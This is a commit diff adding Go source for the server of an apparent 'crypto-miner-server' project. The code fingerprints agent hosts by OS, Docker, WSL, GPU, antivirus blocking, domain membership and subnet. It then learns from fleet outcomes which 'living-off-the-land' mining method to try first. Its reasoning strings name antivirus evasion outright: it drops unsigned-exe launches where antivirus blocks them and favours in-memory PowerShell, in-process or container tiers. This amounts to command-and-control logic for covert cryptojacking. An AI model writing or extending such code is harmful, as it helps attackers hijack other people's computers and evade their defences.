Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
325
server/internal/strategy/engine.go
Normal file
325
server/internal/strategy/engine.go
Normal file
@@ -0,0 +1,325 @@
|
||||
package strategy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
"math"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
const (
|
||||
rescoreInterval = 5 * time.Minute
|
||||
minSamplesForSkip = 3
|
||||
skipFailureRate = 0.85
|
||||
promoteHashrateMin = 1.0
|
||||
)
|
||||
|
||||
// RescoreInterval is how often the hub background loop recomputes strategies.
|
||||
const RescoreInterval = rescoreInterval
|
||||
|
||||
// AdaptiveEngine learns fleet LOTL tier outcomes and scores per-host tier order.
|
||||
type AdaptiveEngine struct {
|
||||
db *db.Database
|
||||
enabled bool
|
||||
mu sync.RWMutex
|
||||
agentFingerprints map[string]HostFingerprint
|
||||
}
|
||||
|
||||
func NewAdaptiveEngine(database *db.Database, enabled bool) *AdaptiveEngine {
|
||||
return &AdaptiveEngine{
|
||||
db: database,
|
||||
enabled: enabled,
|
||||
agentFingerprints: make(map[string]HostFingerprint),
|
||||
}
|
||||
}
|
||||
|
||||
func (e *AdaptiveEngine) Enabled() bool {
|
||||
e.mu.RLock()
|
||||
defer e.mu.RUnlock()
|
||||
return e.enabled
|
||||
}
|
||||
|
||||
func (e *AdaptiveEngine) SetEnabled(on bool) {
|
||||
e.mu.Lock()
|
||||
e.enabled = on
|
||||
e.mu.Unlock()
|
||||
}
|
||||
|
||||
func (e *AdaptiveEngine) RememberAgentFingerprint(agentID string, fp HostFingerprint) {
|
||||
if agentID == "" {
|
||||
return
|
||||
}
|
||||
e.mu.Lock()
|
||||
e.agentFingerprints[agentID] = fp
|
||||
e.mu.Unlock()
|
||||
}
|
||||
|
||||
func (e *AdaptiveEngine) agentFingerprint(agentID string) HostFingerprint {
|
||||
e.mu.RLock()
|
||||
defer e.mu.RUnlock()
|
||||
return e.agentFingerprints[agentID]
|
||||
}
|
||||
|
||||
// AgentFingerprint returns the latest remembered fingerprint for an agent.
|
||||
func (e *AdaptiveEngine) AgentFingerprint(agentID string) HostFingerprint {
|
||||
return e.agentFingerprint(agentID)
|
||||
}
|
||||
|
||||
// RecordOutcome persists one tier attempt for fleet learning.
|
||||
func (e *AdaptiveEngine) RecordOutcome(agentID string, fp HostFingerprint, tier string, ok bool, hashrate float64, phase string) {
|
||||
if !e.Enabled() || e.db == nil || agentID == "" || strings.TrimSpace(tier) == "" {
|
||||
return
|
||||
}
|
||||
if fp.GOOS == "" {
|
||||
fp = e.agentFingerprint(agentID)
|
||||
}
|
||||
e.RememberAgentFingerprint(agentID, fp)
|
||||
phase = strings.TrimSpace(phase)
|
||||
if phase == "" {
|
||||
phase = "mining"
|
||||
}
|
||||
if err := e.db.InsertTierOutcome(agentID, fp.Key(), tier, ok, hashrate, phase); err != nil {
|
||||
log.Printf("[strategy] record outcome: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// ScoreTierOrder returns a reordered tier list with transparent reasoning.
|
||||
func (e *AdaptiveEngine) ScoreTierOrder(fp HostFingerprint) AdaptiveStrategy {
|
||||
base := append([]string(nil), DefaultMiningTierOrder...)
|
||||
now := nowRFC3339()
|
||||
reasoning := []StrategyReason{{
|
||||
Fact: "Host fingerprint: " + describeFingerprint(fp),
|
||||
Inference: "Fleet adaptive engine scores tiers from your machines only",
|
||||
Action: "Starting from default mining tier order",
|
||||
}}
|
||||
|
||||
if !e.Enabled() || e.db == nil {
|
||||
return AdaptiveStrategy{TierOrder: base, Reasoning: reasoning, Confidence: 0.2, UpdatedAt: now}
|
||||
}
|
||||
|
||||
stats, err := e.db.AggregateTierOutcomes(fp.Key(), fp.GOOS)
|
||||
if err != nil {
|
||||
log.Printf("[strategy] aggregate outcomes: %v", err)
|
||||
return AdaptiveStrategy{TierOrder: base, Reasoning: reasoning, Confidence: 0.3, UpdatedAt: now}
|
||||
}
|
||||
|
||||
type tierScore struct {
|
||||
tier string
|
||||
score float64
|
||||
}
|
||||
scores := make([]tierScore, 0, len(base))
|
||||
skipSet := make(map[string]bool)
|
||||
indexOf := make(map[string]int, len(base))
|
||||
for i, t := range base {
|
||||
indexOf[t] = i
|
||||
scores = append(scores, tierScore{tier: t, score: float64(len(base) - i)})
|
||||
}
|
||||
|
||||
totalSamples := 0
|
||||
for _, s := range stats {
|
||||
totalSamples += s.Total
|
||||
}
|
||||
|
||||
for _, s := range stats {
|
||||
if s.Total == 0 {
|
||||
continue
|
||||
}
|
||||
successRate := float64(s.Successes) / float64(s.Total)
|
||||
idx, ok := indexOf[s.Tier]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
bonus := successRate * 12.0
|
||||
if s.MaxHashrate >= promoteHashrateMin {
|
||||
bonus += 8.0
|
||||
reasoning = append(reasoning, StrategyReason{
|
||||
Fact: tierLabel(s.Tier) + " produced hashrate on similar hosts",
|
||||
Inference: formatFloat(s.MaxHashrate) + " H/s peak in fleet bucket",
|
||||
Action: "Promote " + tierLabel(s.Tier) + " in tier order",
|
||||
})
|
||||
}
|
||||
if successRate >= 0.5 && s.Successes > 0 {
|
||||
reasoning = append(reasoning, StrategyReason{
|
||||
Fact: tierLabel(s.Tier) + " succeeded on " + fp.GOOS + " hosts like this",
|
||||
Inference: formatPct(successRate) + " success across " + itoa(s.Total) + " fleet attempts",
|
||||
Action: "Boost " + tierLabel(s.Tier) + " priority",
|
||||
})
|
||||
}
|
||||
if s.Total >= minSamplesForSkip && successRate <= (1.0-skipFailureRate) && s.Successes == 0 {
|
||||
skipSet[s.Tier] = true
|
||||
reasoning = append(reasoning, StrategyReason{
|
||||
Fact: tierLabel(s.Tier) + " failed repeatedly on " + fp.GOOS,
|
||||
Inference: itoa(s.Failures) + " failures, 0 successes in fleet bucket",
|
||||
Action: "Skip " + tierLabel(s.Tier) + " for this host profile",
|
||||
})
|
||||
}
|
||||
scores[idx].score += bonus - (1.0-successRate)*6.0
|
||||
}
|
||||
|
||||
if fp.GOOS == "windows" && fp.Docker {
|
||||
if idx, ok := indexOf["container"]; ok {
|
||||
scores[idx].score += 6
|
||||
reasoning = append(reasoning, StrategyReason{
|
||||
Fact: "Docker runtime available on Windows host", Inference: "Container tier isolates miner from AV friction on exe drops",
|
||||
Action: "Prefer container / docker_load before raw subprocess",
|
||||
})
|
||||
}
|
||||
if idx, ok := indexOf["docker_load"]; ok {
|
||||
scores[idx].score += 4
|
||||
}
|
||||
}
|
||||
if fp.AVBlocks {
|
||||
if idx, ok := indexOf["exe_subprocess"]; ok {
|
||||
scores[idx].score -= 8
|
||||
reasoning = append(reasoning, StrategyReason{
|
||||
Fact: "AV blocks unsigned exe execution on this profile", Inference: "Subprocess tier likely blocked before mining starts",
|
||||
Action: "Demote exe_subprocess; try in-process or container first",
|
||||
})
|
||||
}
|
||||
if idx, ok := indexOf["cpu_inprocess"]; ok {
|
||||
scores[idx].score += 5
|
||||
}
|
||||
}
|
||||
if fp.WSL {
|
||||
if idx, ok := indexOf["wsl"]; ok {
|
||||
scores[idx].score += 4
|
||||
}
|
||||
}
|
||||
if fp.GPU {
|
||||
if idx, ok := indexOf["gpu_subprocess"]; ok {
|
||||
scores[idx].score += 3
|
||||
}
|
||||
}
|
||||
|
||||
sort.SliceStable(scores, func(i, j int) bool {
|
||||
if scores[i].score == scores[j].score {
|
||||
return indexOf[scores[i].tier] < indexOf[scores[j].tier]
|
||||
}
|
||||
return scores[i].score > scores[j].score
|
||||
})
|
||||
|
||||
order := make([]string, 0, len(scores))
|
||||
seen := make(map[string]bool, len(scores))
|
||||
for _, s := range scores {
|
||||
if seen[s.tier] || skipSet[s.tier] {
|
||||
continue
|
||||
}
|
||||
order = append(order, s.tier)
|
||||
seen[s.tier] = true
|
||||
}
|
||||
skipTiers := make([]string, 0, len(skipSet))
|
||||
for _, t := range base {
|
||||
if skipSet[t] {
|
||||
skipTiers = append(skipTiers, t)
|
||||
}
|
||||
}
|
||||
|
||||
if strings.Join(order, ",") != strings.Join(base, ",") || len(skipTiers) > 0 {
|
||||
reasoning = append(reasoning, StrategyReason{
|
||||
Fact: "Adaptive order differs from default onion", Inference: "Fleet learning adjusted tier walk for this fingerprint",
|
||||
Action: "Apply personalized order before agent tries default path",
|
||||
})
|
||||
}
|
||||
|
||||
confidence := 0.35
|
||||
if totalSamples > 0 {
|
||||
confidence = math.Min(0.95, 0.35+float64(totalSamples)*0.02)
|
||||
}
|
||||
return AdaptiveStrategy{TierOrder: order, SkipTiers: skipTiers, Reasoning: reasoning, Confidence: round2(confidence), UpdatedAt: now}
|
||||
}
|
||||
|
||||
func (e *AdaptiveEngine) StrategyForAgent(agentID string, fp HostFingerprint) AdaptiveStrategy {
|
||||
strat := e.ScoreTierOrder(fp)
|
||||
if e.db == nil || agentID == "" {
|
||||
return strat
|
||||
}
|
||||
e.RememberAgentFingerprint(agentID, fp)
|
||||
raw, _ := json.Marshal(strat)
|
||||
if err := e.db.UpsertAgentStrategyCache(agentID, fp.Key(), string(raw)); err != nil {
|
||||
log.Printf("[strategy] cache strategy: %v", err)
|
||||
}
|
||||
return strat
|
||||
}
|
||||
|
||||
func (e *AdaptiveEngine) RecomputeAll() (int, error) {
|
||||
if !e.Enabled() || e.db == nil {
|
||||
return 0, nil
|
||||
}
|
||||
agents, err := e.db.ListAgentStrategyFingerprints()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
count := 0
|
||||
for agentID, fpKey := range agents {
|
||||
fp := parseFingerprintKey(fpKey)
|
||||
strat := e.ScoreTierOrder(fp)
|
||||
raw, _ := json.Marshal(strat)
|
||||
if err := e.db.UpsertAgentStrategyCache(agentID, fp.Key(), string(raw)); err != nil {
|
||||
continue
|
||||
}
|
||||
count++
|
||||
}
|
||||
return count, nil
|
||||
}
|
||||
|
||||
func parseFingerprintKey(key string) HostFingerprint {
|
||||
parts := strings.Split(key, "|")
|
||||
fp := HostFingerprint{GOOS: "unknown", Subnet: "unknown"}
|
||||
if len(parts) > 0 && parts[0] != "" {
|
||||
fp.GOOS = parts[0]
|
||||
}
|
||||
if len(parts) > 1 {
|
||||
fp.Docker = parts[1] == "1"
|
||||
}
|
||||
if len(parts) > 2 {
|
||||
fp.WSL = parts[2] == "1"
|
||||
}
|
||||
if len(parts) > 3 {
|
||||
fp.GPU = parts[3] == "1"
|
||||
}
|
||||
if len(parts) > 4 {
|
||||
fp.AVBlocks = parts[4] == "1"
|
||||
}
|
||||
if len(parts) > 5 {
|
||||
fp.DomainJoined = parts[5] == "1"
|
||||
}
|
||||
if len(parts) > 6 {
|
||||
fp.Subnet = parts[6]
|
||||
}
|
||||
return fp
|
||||
}
|
||||
|
||||
func describeFingerprint(fp HostFingerprint) string {
|
||||
chips := []string{fp.GOOS}
|
||||
if fp.Docker {
|
||||
chips = append(chips, "docker")
|
||||
}
|
||||
if fp.WSL {
|
||||
chips = append(chips, "wsl")
|
||||
}
|
||||
if fp.GPU {
|
||||
chips = append(chips, "gpu")
|
||||
}
|
||||
if fp.AVBlocks {
|
||||
chips = append(chips, "av_blocks")
|
||||
}
|
||||
if fp.DomainJoined {
|
||||
chips = append(chips, "domain_joined")
|
||||
}
|
||||
if fp.Subnet != "" {
|
||||
chips = append(chips, "subnet:"+fp.Subnet)
|
||||
}
|
||||
return strings.Join(chips, ", ")
|
||||
}
|
||||
|
||||
func tierLabel(tier string) string { return strings.ReplaceAll(tier, "_", " ") }
|
||||
func formatPct(v float64) string { return formatFloat(v*100) + "%" }
|
||||
func formatFloat(v float64) string { return strconv.FormatFloat(v, 'f', -1, 64) }
|
||||
func itoa(n int) string { return strconv.Itoa(n) }
|
||||
func round2(v float64) float64 { return math.Round(v*100) / 100 }
|
||||
58
server/internal/strategy/engine_test.go
Normal file
58
server/internal/strategy/engine_test.go
Normal file
@@ -0,0 +1,58 @@
|
||||
package strategy
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
func TestWindowsDockerFingerprintPromotesContainer(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
fp := HostFingerprint{GOOS: "windows", Docker: true, Subnet: "192.168.1"}
|
||||
key := fp.Key()
|
||||
|
||||
for i := 0; i < 4; i++ {
|
||||
if err := database.InsertTierOutcome("agent-a", key, "exe_subprocess", false, 0, "mining"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
for i := 0; i < 3; i++ {
|
||||
if err := database.InsertTierOutcome("agent-b", key, "container", true, 1200, "mining"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
engine := NewAdaptiveEngine(database, true)
|
||||
strat := engine.ScoreTierOrder(fp)
|
||||
|
||||
if strat.TierOrder[0] != "container" {
|
||||
t.Fatalf("container should be first on Windows+docker; got %v", strat.TierOrder)
|
||||
}
|
||||
if indexOf(strat.SkipTiers, "exe_subprocess") < 0 {
|
||||
t.Fatalf("exe_subprocess should be skipped; got %v", strat.SkipTiers)
|
||||
}
|
||||
if len(strat.Reasoning) == 0 {
|
||||
t.Fatal("expected reasoning trace")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFingerprintKeyStable(t *testing.T) {
|
||||
fp := HostFingerprint{GOOS: "windows", Docker: true, Subnet: "10.0.0"}
|
||||
if got := fp.Key(); got != "windows|1|0|0|0|0|10.0.0" {
|
||||
t.Fatalf("key = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func indexOf(order []string, tier string) int {
|
||||
for i, t := range order {
|
||||
if t == tier {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
119
server/internal/strategy/fingerprint.go
Normal file
119
server/internal/strategy/fingerprint.go
Normal file
@@ -0,0 +1,119 @@
|
||||
package strategy
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// HostFingerprint captures host signals that drive fleet-wide tier scoring.
|
||||
type HostFingerprint struct {
|
||||
GOOS string `json:"goos"`
|
||||
Docker bool `json:"docker"`
|
||||
WSL bool `json:"wsl"`
|
||||
GPU bool `json:"gpu"`
|
||||
AVBlocks bool `json:"av_blocks"`
|
||||
DomainJoined bool `json:"domain_joined"`
|
||||
Subnet string `json:"subnet"`
|
||||
}
|
||||
|
||||
// Key returns a stable bucket id for fleet outcome aggregation.
|
||||
func (f HostFingerprint) Key() string {
|
||||
goos := strings.ToLower(strings.TrimSpace(f.GOOS))
|
||||
if goos == "" {
|
||||
goos = "unknown"
|
||||
}
|
||||
subnet := strings.TrimSpace(f.Subnet)
|
||||
if subnet == "" {
|
||||
subnet = "unknown"
|
||||
}
|
||||
return strings.Join([]string{
|
||||
goos,
|
||||
boolToken(f.Docker),
|
||||
boolToken(f.WSL),
|
||||
boolToken(f.GPU),
|
||||
boolToken(f.AVBlocks),
|
||||
boolToken(f.DomainJoined),
|
||||
subnet,
|
||||
}, "|")
|
||||
}
|
||||
|
||||
func boolToken(v bool) string {
|
||||
if v {
|
||||
return "1"
|
||||
}
|
||||
return "0"
|
||||
}
|
||||
|
||||
// FingerprintFromAuth builds an initial fingerprint from agent auth + connection IP.
|
||||
func FingerprintFromAuth(platform, ip string, domainJoined bool) HostFingerprint {
|
||||
return HostFingerprint{
|
||||
GOOS: normalizeGOOS(platform),
|
||||
DomainJoined: domainJoined,
|
||||
Subnet: subnetFromIP(ip),
|
||||
}
|
||||
}
|
||||
|
||||
// FingerprintFromStats merges live telemetry probes into a fingerprint.
|
||||
func FingerprintFromStats(base HostFingerprint, probes map[string]bool, domainJoined *bool) HostFingerprint {
|
||||
out := base
|
||||
if probes != nil {
|
||||
if v, ok := probes["docker"]; ok {
|
||||
out.Docker = v
|
||||
}
|
||||
if v, ok := probes["wsl"]; ok {
|
||||
out.WSL = v
|
||||
}
|
||||
if v, ok := probes["gpu"]; ok {
|
||||
out.GPU = v
|
||||
}
|
||||
if v, ok := probes["av_blocks_exe"]; ok {
|
||||
out.AVBlocks = v
|
||||
}
|
||||
}
|
||||
if domainJoined != nil {
|
||||
out.DomainJoined = *domainJoined
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func normalizeGOOS(platform string) string {
|
||||
p := strings.ToLower(strings.TrimSpace(platform))
|
||||
switch {
|
||||
case strings.Contains(p, "win"):
|
||||
return "windows"
|
||||
case strings.Contains(p, "linux"):
|
||||
return "linux"
|
||||
case strings.Contains(p, "darwin"), strings.Contains(p, "mac"):
|
||||
return "darwin"
|
||||
default:
|
||||
return p
|
||||
}
|
||||
}
|
||||
|
||||
func subnetFromIP(ip string) string {
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip == "" {
|
||||
return ""
|
||||
}
|
||||
host := ip
|
||||
if h, _, err := net.SplitHostPort(ip); err == nil {
|
||||
host = h
|
||||
}
|
||||
parsed := net.ParseIP(host)
|
||||
if parsed == nil {
|
||||
return ""
|
||||
}
|
||||
if v4 := parsed.To4(); v4 != nil {
|
||||
parts := strings.Split(host, ".")
|
||||
if len(parts) >= 3 {
|
||||
return strings.Join(parts[:3], ".")
|
||||
}
|
||||
}
|
||||
if strings.Contains(host, ":") {
|
||||
parts := strings.Split(host, ":")
|
||||
if len(parts) >= 3 {
|
||||
return strings.Join(parts[:3], ":")
|
||||
}
|
||||
}
|
||||
return host
|
||||
}
|
||||
35
server/internal/strategy/types.go
Normal file
35
server/internal/strategy/types.go
Normal file
@@ -0,0 +1,35 @@
|
||||
package strategy
|
||||
|
||||
import "time"
|
||||
|
||||
// StrategyReason is one human-readable step in the adaptive tier decision trace.
|
||||
type StrategyReason struct {
|
||||
Fact string `json:"fact"`
|
||||
Inference string `json:"inference"`
|
||||
Action string `json:"action"`
|
||||
}
|
||||
|
||||
// AdaptiveStrategy is the per-agent personalized LOTL mining tier plan.
|
||||
type AdaptiveStrategy struct {
|
||||
TierOrder []string `json:"tier_order"`
|
||||
SkipTiers []string `json:"skip_tiers,omitempty"`
|
||||
Reasoning []StrategyReason `json:"reasoning"`
|
||||
Confidence float64 `json:"confidence"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
}
|
||||
|
||||
// DefaultMiningTierOrder mirrors server auth defaults when Calibrate sends no override.
|
||||
var DefaultMiningTierOrder = []string{
|
||||
"exe_subprocess",
|
||||
"docker_load",
|
||||
"container",
|
||||
"wsl",
|
||||
"ps_inmemory",
|
||||
"cpu_inprocess",
|
||||
"gpu_subprocess",
|
||||
"stratum_direct",
|
||||
}
|
||||
|
||||
func nowRFC3339() string {
|
||||
return time.Now().UTC().Format(time.RFC3339)
|
||||
}
|
||||
Reference in New Issue
Block a user